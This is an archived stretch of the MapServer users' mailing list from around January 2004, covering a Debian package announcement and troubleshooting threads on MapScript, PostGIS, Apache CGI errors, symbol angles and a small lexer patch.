   * libmapscript-perl - Mapscript/Perl module.

This package includes support for JPEG, PNG, FreeType 2, Tiff, Proj, 
OGR, GDAL, WMS, and WFS-Client.

So what's missing? Well for some reason I left out WFS-Server, but I 
have no idea why. Maybe because it's left out by default? If anyone 
wants, I will go ahead and rebuild it with WFS Server support, just let 
me know. I also forgot to include Flash/Ming support. If anyone needs 
this, let me know. I have not built Mapscript/PHP support yet because 
it currently conflicts with Debian's PHP packages (regex conflict). I 
guess I should just build my own PHP package just like the other 
dependencies. Also no Mapscript Java, Python, or TCL because I have 
zero experience with these three languages and wouldn't know where to 
begin. If anyone on Debian is using these three things, want to help 
me? Also no PostGIS or MyGIS support because I haven't looked into 
these technologies either. It's on my TODO list. Also any of the other 
features relying on non-free tech (EPPL7, SDE, Oracle, PDF) are 
lacking.

I guess that about sums it up. Any of that make sense?

To download and install simply add the following lines to your 
/etc/apt/sources.list file:

  deb http://paulbaker.net/debian stable main
  deb-src http://paulbaker.net/debian stable main

Of course you may download the .deb files directly by pointing your web 
browser at http://paulbaker.net/debian/dists/stable/main/binary-i386/ 
but that's quite a pain given the dependency requirements.

Also keep in mind, these packages have received very little testing, so 
don't go using these in a production environment until you've done your 
own testing. And also, these packages will built on and intended for 
Debian Stable/Woody. I have not tried them on testing or unstable, so 
YMMV. Good luck and please please please provide me with feedback!

-- 
Paul Baker

"They that can give up essential liberty to obtain a little temporary 
safety deserve neither liberty nor safety."
          -- Benjamin Franklin, 1759

GPG Key: http://homepage.mac.com/pauljbaker/public.asc


--Apple-Mail-22-642883355
Content-Transfer-Encoding: 7bit
Content-Type: application/octet-stream;
	x-unix-mode=0644;
	name="mapserver_4.0.1-1_i386.changes"
Content-Disposition: attachment;
	filename=mapserver_4.0.1-1_i386.changes

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Format: 1.7
Date: Mon, 29 Dec 2003 18:34:40 -0600
Source: mapserver
Binary: mapserver-utils libmapscript-perl mapserver-cgi
Architecture: source i386
Version: 4.0.1-1
Distribution: unstable
Urgency: low
Maintainer: Paul Baker (w2gi) <pbaker at where2getit.com>
Changed-By: Paul Baker (w2gi) <pbaker at where2getit.com>
Description: 
 libmapscript-perl - UMN's MapServer - MapScript/Perl Support
 mapserver-cgi - UMN's MapServer - Web Mapping CGI Application
 mapserver-utils - UMN's MapServer - Utilities
Changes: 
 mapserver (4.0.1-1) unstable; urgency=low
 .
   * New upstream release.
Files: 
 288cfc8b28fbcc7dda0dc7a792769497 723 science extra mapserver_4.0.1-1.dsc
 009c3916f82f4dd5102b9c10f314030a 853665 science extra mapserver_4.0.1.orig.tar.gz
 9d4d5e2fefae52673f7c6151c5c179ac 7294 science extra mapserver_4.0.1-1.diff.gz
 94fc3c59672778772d90dbf83a3ab97e 236222 science extra mapserver-cgi_4.0.1-1_i386.deb
 09ed1abe65697c8f6cac379df141e378 338024 perl extra libmapscript-perl_4.0.1-1_i386.deb
 3dcc3f44dc6718537bae48dc68990d08 1879704 science extra mapserver-utils_4.0.1-1_i386.deb

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/+gbPoxmRVfL3nlsRAk56AJ0XkgIJYsSG2Gzve5ww+v/eymHNFQCeJnPC
g9xk76k20QYU4Q///dfUutI=
=qU+Q
-----END PGP SIGNATURE-----

--Apple-Mail-22-642883355--

--Apple-Mail-23-642883358
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (Darwin)

iD8DBQE/+2KIoxmRVfL3nlsRAmE/AJ91EEUtcs/O7ahM9UXkJaEhn7soJQCaA/rw
GDKkrO9kgpnZ/QXS9BJt+Jc=
=jHrH
-----END PGP SIGNATURE-----

--Apple-Mail-23-642883358--



From eric at gomoos.org  Tue Jan  6 18:29:00 2004
From: eric at gomoos.org (Eric Bridger)
Date: Tue, 06 Jan 2004 21:29:00 -0500
Subject: [Mapserver-users] saveImage error
In-Reply-To: <25D4A9F614A1964BA08A67C4FB9D3DF32D8F61@srpexc2.srp.gov>
Message-ID: <4.3.2.7.2.20040106212532.00ab5c50@mail.gomoos.org>

In 4.0 it's $imageObj->save() not saveImage() and it returns void.

At 04:05 PM 01/06/2004 -0700, WILHITE JASON W wrote:
>I keep getting the following error when I try and run a very simple perl script using mapserver.  The following is the debug statements along with the error message.
>
>
>        Hello Starting test!
>                DEBUG::::  Prep returned mapscript::imageObj=HASH(0x8457140)
>                DEBUG::::  Draw returned mapscript::imageObj=HASH(0x8457140)
>                DEBUG::::  ./rawMSTest.png, , 1
>        Can't call method "saveImage" on an undefined value at rawMSTest.pl line 129.
>
>
>Here is the code snippet in question.
>
>        #!/usr/sbin/perl
>
>        use GD;
>        use CGI;
>        use POSIX;
>
>        use strict;
>        use mapscript;
>        use Getopt::Long;
>
>        #
>        #=================================== MAIN ===================================
>        #
>        print "\nHello Starting test!\n";
>
>        my $mapFileName = "./simpleGauge.map";
>        my $pngFileName = "./rawMSTest.png";
>        my $showPNG = 0;
>        my ( $xMin, $xMax, $yMin, $yMax ) = (-112.39, -111.39, 33.20, 33.62);
>
>        my $bgMap = new mapscript::mapObj( $mapFileName );
>        $bgMap->{width} = 600;  
>        $bgMap->{height} = 600;
>
>        my $imgPrep = $bgMap->prepareImage();
>        print "\tDEBUG::::  Prep returned $imgPrep\n";
>
>        my $imageObj = $bgMap->draw();
>        print "\tDEBUG::::  Draw returned $imgPrep\n";
>
>        `rm -f $pngFileName`;
>        print "\tDEBUG::::  $pngFileName, $mapscript::MS_PNG, $bgMap->{transparent}\n";
>
>        my $image_url = $imageObj->saveImage( $pngFileName,  $mapscript::MS_PNG, $bgMap->{transparent}, 1, 95 ); <------Line where it is dying
>        print "\tDEBUG::::  Save returned $image_url\n";
>
>        if ($showPNG) {
>                print "\nee'ing image file $pngFileName\n";
>                `ee $pngFileName`;
>        }
>
>
>        print "\nAll done!\n";
>
>        #===========================================================================
>
>
>Am I missing something incredibly obvious?  This worked on Mapserver 3.6.4 but when I upgrade to mapserver 4.0.1 it blows up.
>Any ideas?
 



From sgillies at frii.com  Tue Jan  6 18:34:48 2004
From: sgillies at frii.com (Sean Gillies)
Date: Tue, 6 Jan 2004 19:34:48 -0700
Subject: [Mapserver-users] OT: Macs for development...
In-Reply-To: <sffae298.027@co5.dnr.state.mn.us>
References: <sffae298.027@co5.dnr.state.mn.us>
Message-ID: <10089156-40BA-11D8-9622-000393B98B56@frii.com>

Steve,

No problems here with OS X.  A year ago there were configuration
problems with PROJ4, and GDAL, but these have been resolved.

One quirk is that the Apple linker is more strict about multiply
defined symbols.  On Linux and Windows I had built GD and GDAL
libs, each with JPEG and zlib, and then linked mapserv with these.
The mulitple symbols were silently ignored.  OS X complains loudly
and you'll need to learn about DYLD_FORCE_FLAT_NAMESPACE :(

cheers,
Sean

On Jan 6, 2004, at 3:29 PM, Steve Lime wrote:

> Hi Folks: Anyone out there using macs as a development box? I'm looking
> to replace my current machine and drawn to the PowerBooks. I know that
> with the underlying UNIX guts you should be able to build MapServer, 
> but
> I'm wondering if other folks are routinely using os x with cvs, gdb, 
> gcc
> and other developer tools. Thanks for any opinions...
>
> Steve
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From sgillies at frii.com  Tue Jan  6 18:38:01 2004
From: sgillies at frii.com (Sean Gillies)
Date: Tue, 6 Jan 2004 19:38:01 -0700
Subject: [Mapserver-users] saveImage error
In-Reply-To: <25D4A9F614A1964BA08A67C4FB9D3DF32D8F61@srpexc2.srp.gov>
References: <25D4A9F614A1964BA08A67C4FB9D3DF32D8F61@srpexc2.srp.gov>
Message-ID: <83230540-40BA-11D8-9622-000393B98B56@frii.com>

On Jan 6, 2004, at 4:05 PM, WILHITE JASON W wrote:

> I keep getting the following error when I try and run a very simple  
> perl script using mapserver.  The following is the debug statements  
> along with the error message.
>
>
> 	Hello Starting test!
> 		DEBUG::::  Prep returned mapscript::imageObj=HASH(0x8457140)
> 		DEBUG::::  Draw returned mapscript::imageObj=HASH(0x8457140)
> 		DEBUG::::  ./rawMSTest.png, , 1
> 	Can't call method "saveImage" on an undefined value at rawMSTest.pl  
> line 129.
>
>
> Here is the code snippet in question.
>
> 	#!/usr/sbin/perl
>
> 	use GD;
> 	use CGI;
> 	use POSIX;
>
> 	use strict;
> 	use mapscript;
> 	use Getopt::Long;
>
> 	#
> 	#=================================== MAIN  
> ===================================
> 	#
> 	print "\nHello Starting test!\n";
>
> 	my $mapFileName = "./simpleGauge.map";
> 	my $pngFileName = "./rawMSTest.png";
> 	my $showPNG = 0;
> 	my ( $xMin, $xMax, $yMin, $yMax ) = (-112.39, -111.39, 33.20, 33.62);
>
> 	my $bgMap = new mapscript::mapObj( $mapFileName );
> 	$bgMap->{width} = 600;
> 	$bgMap->{height} = 600;
>
> 	my $imgPrep = $bgMap->prepareImage();
> 	print "\tDEBUG::::  Prep returned $imgPrep\n";
>
> 	my $imageObj = $bgMap->draw();
> 	print "\tDEBUG::::  Draw returned $imgPrep\n";
>
> 	`rm -f $pngFileName`;
> 	print "\tDEBUG::::  $pngFileName, $mapscript::MS_PNG,  
> $bgMap->{transparent}\n";
>
> 	my $image_url = $imageObj->saveImage( $pngFileName,   
> $mapscript::MS_PNG, $bgMap->{transparent}, 1, 95 ); <------Line where  
> it is dying
> 	print "\tDEBUG::::  Save returned $image_url\n";
>
> 	if ($showPNG) {
> 		print "\nee'ing image file $pngFileName\n";
> 		`ee $pngFileName`;
> 	}
>
>
> 	print "\nAll done!\n";
>
> 	 
> #====================================================================== 
> =====
>
>
> Am I missing something incredibly obvious?  This worked on Mapserver  
> 3.6.4 but when I upgrade to mapserver 4.0.1 it blows up.
> Any ideas?
>
> Thanks,
> -Jason
>
>

Jason,

There is no imageObj::saveImage -- it's 'save' and you no longer need
to specify output format parameters because these are no held in the
imageObj instance.  Check out the online docs for more details.

cheers,
Sean

--
Sean Gillies
sgillies at frii dot com
http://users.frii.com/sgillies



From morissette at dmsolutions.ca  Tue Jan  6 18:45:35 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Tue, 06 Jan 2004 21:45:35 -0500
Subject: [Mapserver-users] Demo won't write to /tmp directory?
In-Reply-To: <OFD966DAE6.9585B72A-ON88256E13.0076594D-88256E13.0076BA20@lignum.com>
References: <OFD966DAE6.9585B72A-ON88256E13.0076594D-88256E13.0076BA20@lignum.com>
Message-ID: <3FFB72CF.2090704@dmsolutions.ca>

Tyler Mitchell wrote:
> 
> p.s. Are others using Apache2 successfully with Mapserver?
> 

The only issue that I'm aware of with Apache 2.x has to do with logging 
to stderr (the error_log).  This is an Apache bug, but a workaround has 
been added in MapServer 4.0.1 and 4.1 (but not in 3.6.x and older 
versions).  See:

http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=458

Other than that, everything works great for us on several systems.

-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From morissette at dmsolutions.ca  Tue Jan  6 21:15:14 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 07 Jan 2004 00:15:14 -0500
Subject: [Mapserver-users] PHP MapScript DLL QueryMap class?
In-Reply-To: <000501c3bdc1$2e3244d0$a3916181@mgltoshiba>
References: <000501c3bdc1$2e3244d0$a3916181@mgltoshiba>
Message-ID: <3FFB95E2.3040303@dmsolutions.ca>

Mike Leahy wrote:
> 
> I see there are PHP MapScript constants defined for the QueryMap object
> (i.e. the Querymap styles), but there is no way to change anything in the
> querymap.  This is not a particularly huge deal, as I already have a
> workaround in my case, but it might be a little more efficient if a class
> was defined that provided access to those parameters from a PHP script.  Is
> this something we might see in later builds...or is there an undocumented
> class or function that can be used?
> 

You're correct: there is no way to set members of the QueryMap object 
via PHP MapScript.  I have created a bug about this so that we don't 
forget to add it eventually:

http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=535

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From Ballini.Yvain at seat.it  Wed Jan  7 02:21:47 2004
From: Ballini.Yvain at seat.it (Ballini Yvain)
Date: Wed, 7 Jan 2004 11:21:47 +0100
Subject: R: R: [Mapserver-users] Mapinfo symbols
Message-ID: <4B1A1EC0790F054193453C48725D43180B8CD7@MSGBE1V1.seat.it>

Hi Julien and Daniel,

Thank you for your suggestion and your help.
We also are tryning to see in the source which enhancement could enable to manage the angles with truetype symbols.
Keep in touch if someone has some suggestion.
Best regards,
Yvain. 

-----Messaggio originale-----
Da: Julien-Samuel Lacroix [mailto:lacroix at dmsolutions.ca] 
Inviato: luned? 5 gennaio 2004 22.10
A: Ballini Yvain
Cc: Daniel Morissette; mapserver-users at lists.gis.umn.edu
Oggetto: Re: R: [Mapserver-users] Mapinfo symbols

Hi Yvain,

While checking your problem I noticed why angle is ignored with the STYLEITEM "AUTO" in your layer. It's because the angle is not supported for symbols. It's only supported for labels. So your arrows can't have the good angle. I opened two bugs for this 532 and 533
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=532
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=533

But I don't know when it will be fixed.

A work around could be to use a font with symbol in it and put labels in your map that will be arrows. Then the angle will be used correctly.
But there's certainly a better way to acheive what you want. Anybody on the list has a suggestion?

Best regards,
Julien


Ballini Yvain wrote:
>  Hi Daniel,
> 
> I'm turning to the topic of the orientation of point symbol, do you know where I can find on the mapserver source the part which manages the symbols tuned by OGR. I would like to try to do some update on my mapsrver version to solve this problem.
> Thanks a lot.
> Yvain.
> 
> -----Messaggio originale-----
> Da: Daniel Morissette [mailto:morissette at dmsolutions.ca]
> Inviato: gioved? 18 dicembre 2003 0.43
> A: Ballini Yvain
> Cc: mapserver-users at lists.gis.umn.edu
> Oggetto: Re: [Mapserver-users] Mapinfo symbols
> 
> Yvain,
> 
> Um, I checked the code and it seems that we ignore the angle value coming from STYLEITEM AUTO for point symbols. Could please you submit a bug with a small mapfile and arrow.tab to reproduce this? I'm not sure when we would have time to work on this, but with a testcase to reproduce it's always easier for us.
> 
> Thanks
> 
> Daniel
> 
> 
> Ballini Yvain wrote:
> 
>>Hi list,
>>
>>I would like to read the arrows of a .tab file in mapserver: the pb is 
>>that I can read the position but not the orientation of the arrow 
>>which is contained in the "Style" line of the .tab (see under).
>>when I try to read my file arrow.tab with ogrinfo it turns me these 
>>properties for the arrow layer:
>>
>>Layer name: arrow
>>Geometry: Point
>>Feature Count: 267349
>>Extent: (6.682870, 36.681040) - (18.495850, 46.895265) Layer SRS WKT:
>>GEOGCS["unnamed",
>>    DATUM["WGS_1984",
>>        SPHEROID["WGS 84",6378137,298.257223563],
>>        TOWGS84[0,0,0,0,0,0,0]],
>>    PRIMEM["Greenwich",0],
>>    UNIT["degree",0.0174532925199433]]
>>LABEL: String (70.0)
>>OGRFeature(arrow):1
>>  LABEL (String) =
>>  Style = 
>>SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
>>  POINT (8.85458500 45.96559000)
>>
>>OGRFeature(arrow):2
>>  LABEL (String) =
>>  Style = 
>>SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1")
>>  POINT (8.85458500 45.96559000)
>>........
>>
>>I define my arrow layer like that:
>>LAYER
>>  NAME freccie_navtech
>>  PROJECTION
>>  "proj=longlat"
>>  "ellps=intl"
>>  "no_defs"
>>  END
>>  STATUS OFF
>>  DATA arrow#chiave_in_piazzale_segesta#arrow#vie3_polyline
>>  CONNECTIONTYPE OGR
>>  CONNECTION
>>"c:\mapserver\itasca\data\arrow.tab"#chiave_in_piazzale_segesta.tab"#a
>>rr
>>ow.tab"
>>  STYLEITEM "AUTO"
>>  TYPE point
>>   CLASS
>>    #STYLE
>>    #  SYMBOL arrow
>>    #  size 20
>>      COLOR 88 88 245
>>      #ANTIALIAS TRUE
>>    #END
>>  END
>>END
>>
>>I think I can't recognize the id mapinfo-sym-111 which represents the 
>>arrow...but the position of the default point symbol is right on the 
>>map.
>>Does someone know something about this problem or if there is a 
>>setting in the mapfile which could solve my problem?
>>Thanks a lot.
>>Yvain.  
>>
>>
> 
> 
> 
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

--
------------------------------------------------------------
Julien-Samuel Lacroix            lacroix at dmsolutions.ca
DM Solutions Group               http://www.dmsolutions.ca/
------------------------------------------------------------






From joukje.de.haan at aris.nl  Wed Jan  7 02:26:02 2004
From: joukje.de.haan at aris.nl (Joukje de Haan)
Date: Wed, 07 Jan 2004 11:26:02 +0100
Subject: [Mapserver-users] ms4, mapxy
Message-ID: <3FFBDEBA.4FD41FC2@aris.nl>

Hello, 

I have some trouble with mapserver 4.0. The application worked fine with
Mapserver 3.6.  With 4.0 the map shows OK, but when i try to do a query
on the map I get this error:
mapserv(): Web application error. Query mode needs a point, imgxy and
mapxy are not set. 
In the html-file, imgxy was set, mapxy was not. 
Does anyone know what has changed in Mapserver 4.0 that causes this
problem? Simply setting the mapxy variable in the HTML-page does not
work...

Thanks!
Joukje


From phj at norgit.no  Wed Jan  7 02:44:05 2004
From: phj at norgit.no (Johansen Per Henrik)
Date: Wed, 7 Jan 2004 11:44:05 +0100
Subject: [Mapserver-users] Variable substitution 4.0.1
Message-ID: <1FFB16912919DC41A0599F0D9533419F218BDA@icngmail01.interconsult.com>

I have looked through the source again this morning and found what I believe is the error/bug.
It seems that Mapserver gets an MS_STRING token instead of an IMAGE token returned from the lexer, so I modified the  lexer and now everything seem to work as I would expect. I have included the diff below. I do not know if this would cause other errors to occur though, but Mapserver seem to behave as expected after the change.

Per Henrik

diff mapserver-4.0.1/maplexer.l mapserver-4.0.1-perhenrik/maplexer.l
121c121
< <INITIAL>extent                                      { return(EXTENT); }
---
> <INITIAL,OBJECT_STRING>extent                        { return(EXTENT); }
138c138
< <INITIAL>image                                       { return(IMAGE); }
---
> <INITIAL,OBJECT_STRING>image                         { return(IMAGE); }


--
Interconsult NORGIT AS
Per Henrik Johansen
Systemutvikler/Systems developer
Tel: + 47 69 394805   Mob: + 47 950 71822
icq: 4975767
Web: http://www.norgit.no


> -----Original Message-----
> From: Johansen Per Henrik 
> Sent: 6. januar 2004 21:49
> To: mapserver-users at lists.gis.umn.edu
> Cc: Steve Lime
> Subject: RE: [Mapserver-users] Variable substitution 4.0.1
> 
> 
> Thanks for the reply.
> 
> But using map_reference_image does not seem to work either. I 
> have tried to look at the source code for 4.0.1 and to figure 
> out what happens. mapserv recognize that I pass it a map_ 
> variable through CGI, but everything seem to end in the 
> function loadReferenceMapString() in mapfile.c. The 
> switch(msyylex()) statement never seem to match any of the 
> cases (it triggers the default, to do nothing). The same 
> happens when I try to set map_reference_extent, the default 
> case is triggered.
> 
> Maybe I am missing something (it is late over here), I have 
> also peeked at how map_web_imagepath (loadWebString()) is 
> handled (which works btw), and I can not spot any major 
> differences at the moment.
> 
> Could this be a bug in the lexer/parser?
> 
> The function loadReferenceMap(), which is used to read from 
> the mapfile works though.
> 
> Per Henrik
> 
> > -----Original Message-----
> > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]
> > Sent: 6. januar 2004 18:41
> > To: mapserver-users at lists.gis.umn.edu; Johansen Per Henrik
> > Subject: Re: [Mapserver-users] Variable substitution 4.0.1
> > 
> > 
> > Variable substitution is only available in a couple of 
> instances where
> > you might like to alter a portion of a parameter but not the whole
> > thing. This basically amounts to FILTERs and EXPRESSIONs and
> > CONNECTIONs. The other method you mention should be used instead. I
> > suspect that what's happening is that the map file parser 
> > reads the file
> > first and then augments it using substitutions (as limited 
> > above) or via
> > the other method, and the string you've got for image is 
> > indeed illegal.
> > To fix?
> > 
> > 1) Don't use the substitution, use map_reference_image instead.
> > 2) Change your mapfile like so:
> > 
> > REFERENCE
> >         IMAGE "passed in via URL"
> >         ...
> > END
> > 
> > Steve
> > 
> > >>> "Johansen Per Henrik" <phj at norgit.no> 1/6/2004 10:05:11 AM >>>
> > Hi,
> > 
> > I am a bit puzzled with the variable substition features in 
> Mapserver.
> > It seems to work fine in some cases, like in the layer 
> > object, but when
> > I try to use this functionality in the reference object, I 
> > get a parser
> > error. getString(): Symbol definition error. Parsing error near (%)
> > I use it like this to use a dynamically created reference image:
> > 
> > REFERENCE
> >         IMAGE %refimage%
> >         ...
> > END
> > 
> > I have also tried to overwrite the IMAGE value by referencing it as
> > map_reference_image=... in the cgi call, but with the same result. 
> > Am I right to suspect that the REFERENCE objectdoes not support
> > variable substitution and cgi referencing?
> > 
> > Regards,
> > 
> > Per Henrik
> > 
> > --
> > Interconsult NORGIT AS
> > Per Henrik Johansen
> > Systemutvikler/Systems developer
> > Tel: + 47 69 394805   Mob: + 47 950 71822
> > icq: 4975767
> > Web: http://www.norgit.no 
> > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu 
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > 
> 
> --
> Interconsult NORGIT AS
> Per Henrik Johansen
> Systemutvikler/Systems developer
> Tel: + 47 69 394805   Mob: + 47 950 71822
> icq: 4975767
> Web: http://www.norgit.no
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 



From ep at fundfgmbh.de  Wed Jan  7 03:55:56 2004
From: ep at fundfgmbh.de (Eric Pocher)
Date: Wed, 7 Jan 2004 12:55:56 +0100
Subject: [Mapserver-users] 500 Server Error - Log: Premature end of script headers
Message-ID: <GCEEKKBCJJADKKHBCDDFGENICCAA.ep@fundfgmbh.de>

Hi All,

 i complied the mapserver successfully. if I execute the file in the shell I
get the message:
"This script can only be used to decode from results and should be initiated
as a CGI process via a httpd server."

So I think the mapserv-file is allright. but if I open the file from a
browser directly without any parameters, I should get the message "No query
information to decode. QUERY_STRING not set.", but the 500 INERNAL SERVER
ERROR returned.
The logfile says:
"Premature end of script headers."

Is there any error in the mapserv-file or in the conig of the webserver.

Server OS: Suse Linux 8
Webserver: Apache 1.3

Eric



From christina.biakowski at ccgis.de  Wed Jan  7 04:33:54 2004
From: christina.biakowski at ccgis.de (Christina Biakowski)
Date: Wed, 7 Jan 2004 13:33:54 +0100
Subject: [Mapserver-users] MapServer 4.01 - unreadable error messages
Message-ID: <NHEDJNHNEDNHBIJKFBOFKEENCDAA.christina.biakowski@ccgis.de>

Dear list,

we have upgraded (OS: FreeBSD) from MapServer 3.66 to 4.01. Running into an
error with the getfeatureInfo-request MapServer 4.01 returns the error
message in binary code using "content-type image/png", like:

Content-type: image/png ?PNG 
IHDR????RlPLTE???U??~tIDATx??]p?y??????@??????xO9?K5????N?o?.>
???:?Y?9?? f??L?N35??8?? ?I?C??b? ?...

With MapServer 3.66 we get "readable" error messages (Content-type:
text/html).

Thank you in advance for any hint.

Best regards,

Christina



From christina.biakowski at ccgis.de  Wed Jan  7 04:33:53 2004
From: christina.biakowski at ccgis.de (Christina Biakowski)
Date: Wed, 7 Jan 2004 13:33:53 +0100
Subject: [Mapserver-users] Postgis8 and WMS getfeatureinfo
Message-ID: <NHEDJNHNEDNHBIJKFBOFIEENCDAA.christina.biakowski@ccgis.de>

Dear list,

we have setup a new system (FreeBSD 4.9) with Postgis 8/PostgreSQL 7.4 on
which we are running into an error. At the moment we are having a Postgis
7.5/PostgreSQL 7.3.4 box running well on FreeBSD 4.7.

While querying of shapefiles works fine, with Postgis-Layers we run into an
error with the getfeatureinfo-request - but only with multiresults. When the
getfeatureinfo-request returns only one resultset everything is fine, with
multiresults only one resultset is shown and we get the following error
message:

"Content-type: text/html msPOSTGISLayerGetShape(): Query error. Error
executing POSTGIS SQL statement (in FETCH ALL): DECLARE mycursor BINARY
CURSOR FOR SELECT
gid::text,objectid::text,area::text,perimeter::text,pppoint_::text,pppoint_i
d::text,pppttype::text,ppptname::text,ppptflag::text,polygonid::text,scale::
text,angle::text,name_neu1::text,name_typ::text,asbinary(force_collection(fo
rce_2d(the_geom)),'NDR') from staedte WHERE OID = 184315 -ERROR: cursor
"mycursor" already exists
More Help:
Error with POSTGIS data variable. You specified ''.
Standard ways of specifiying are :
(1) 'geometry_column from geometry_table'
(2) 'geometry_column from (<sub query>) as foo using unique <column name>
using SRID=<srid#>'

Make sure you put in the 'using unique <column name>' and 'using SRID=#'
clauses in.

For more help, please see http://postgis.refractions.net/documentation.php

Mappostgis.c - version of April 14/2003."

Are there any known incompatibilities between MapServer and PostGIS 8? Thank
you in advance for any hint,

best regards

Christina



From wesp at gdv.com  Wed Jan  7 05:13:40 2004
From: wesp at gdv.com (Oliver Wesp)
Date: Wed, 07 Jan 2004 14:13:40 +0100
Subject: [Mapserver-users] 500 Server Error - Log: Premature end of script
 headers
In-Reply-To: <GCEEKKBCJJADKKHBCDDFGENICCAA.ep@fundfgmbh.de>
References: <GCEEKKBCJJADKKHBCDDFGENICCAA.ep@fundfgmbh.de>
Message-ID: <3FFC0604.9020207@gdv.com>

Eric,

most likely there is no LD_LIBRARY_PATH set within your apache 
environment and therefore mapserv doesnt't find the necessary libs when 
invoked via cgi.

Try adding something like

setenv LD_LIBRARY_PATH /usr/local/lib

to your httpd.conf and restart apache.

best regards
Oliver

Try something

Eric Pocher wrote:

> Hi All,
> 
>  i complied the mapserver successfully. if I execute the file in the shell I
> get the message:
> "This script can only be used to decode from results and should be initiated
> as a CGI process via a httpd server."
> 
> So I think the mapserv-file is allright. but if I open the file from a
> browser directly without any parameters, I should get the message "No query
> information to decode. QUERY_STRING not set.", but the 500 INERNAL SERVER
> ERROR returned.
> The logfile says:
> "Premature end of script headers."
> 
> Is there any error in the mapserv-file or in the conig of the webserver.
> 
> Server OS: Suse Linux 8
> Webserver: Apache 1.3
> 
> Eric
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 
> 


-- 
Dipl.-Geogr. Oliver Wesp
Gesellschaft fuer geografische Datenverarbeitung
Binger Strasse 49-51
D-55218 Ingelheim
fon: +49 6132 714818
fax: +49 6132 714828
http: www.gdv.com


From adams at terrestris.de  Wed Jan  7 05:47:07 2004
From: adams at terrestris.de (Till Adams)
Date: Wed, 07 Jan 2004 14:47:07 +0100
Subject: [Mapserver-users] 500 Server Error - Log: Premature end of script
 headers
References: <GCEEKKBCJJADKKHBCDDFGENICCAA.ep@fundfgmbh.de>
Message-ID: <3FFC0DDB.9050600@terrestris.de>

Dear Eric,

I  guess it's the same problem, we ran in several month ago - I've 
posted the following some days ago to another person, dealing with the 
same problem:

------------------------------------------------------------
I guess you have to re-read your ld.so.conf table, probably you'll find 
it in /etc. Apache does not find all the required librares for running umn.

There are two ways to go:
1. Edit the file ld.so.conf and add the line
/usr/lib

Then restart your server or run '/sbin/ldconfig'

2.
Run the command
'/sbin/ldconfig /usr/local'

(Both as 'root')

If you choose way 2 please remember, that you'll have to give this 
command every time you restart your server.

-----------------------------------------------------------------------

Hope that helps
Till


Eric Pocher schrieb:
> Hi All,
> 
>  i complied the mapserver successfully. if I execute the file in the shell I
> get the message:
> "This script can only be used to decode from results and should be initiated
> as a CGI process via a httpd server."
> 
> So I think the mapserv-file is allright. but if I open the file from a
> browser directly without any parameters, I should get the message "No query
> information to decode. QUERY_STRING not set.", but the 500 INERNAL SERVER
> ERROR returned.
> The logfile says:
> "Premature end of script headers."
> 
> Is there any error in the mapserv-file or in the conig of the webserver.
> 
> Server OS: Suse Linux 8
> Webserver: Apache 1.3
> 
> Eric
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 


-- 

NEU +++ NEU +++ NEU +++ NEU

    AveiN! ist Open Source
Lizensiert unter der GNU GPL

-----

Dipl. Geogr. Till Adams
terrestris, Paulsen&Adams GbR
Siemensstr. 8 * 53121 Bonn
Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57
info at terrestris.de * www.terrestris.de




From hjulien at nrcan.gc.ca  Wed Jan  7 06:56:08 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Wed, 7 Jan 2004 09:56:08 -0500
Subject: [Mapserver-users] Query template - Extract: Layer Class Name
Message-ID: <06B403677C41D51194550002A55107D201F78F82@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi,
Here is the context. I've integrated Mapserver in Coldfusion (Macromedia web
server) and I'm using session variables to manage Mapserver requests.

For example when I query a feature on a map, a Mapserver query or WMS query
string is dynamically generated by coldfusion (depending on source of the
layer) and sent directly to the server giving the MapService. In the present
case a query is sent to Mapserver. Mapserver receives the request and sends
a query response in html using the query template specified in the mapfile.

What i would like to do is include the features legend symbol and
description in the query response. This will permit me to have a query
response which will include the queried feature shapefile dbf info and
corresponding legend description (legende image, layer name, class name...).

Users will be able to relate legend elements and query features and make
sure they have selected the desired featured.

I've tried integrating the following tags in the query template without
success. 

[map_layer_class_name]
[map_layer_name]

[leg_layer_html]
[leg_layer_name]
[/leg_layer_html]


[leg_class_html]
[leg_class_name]
[/leg_class_html]

They are not interpreted. The only tags interpreted are the ones fetching
information in my dbf.

Do you have other suggestions.

Thanks for the help.
Heryk




-----Message d'origine-----
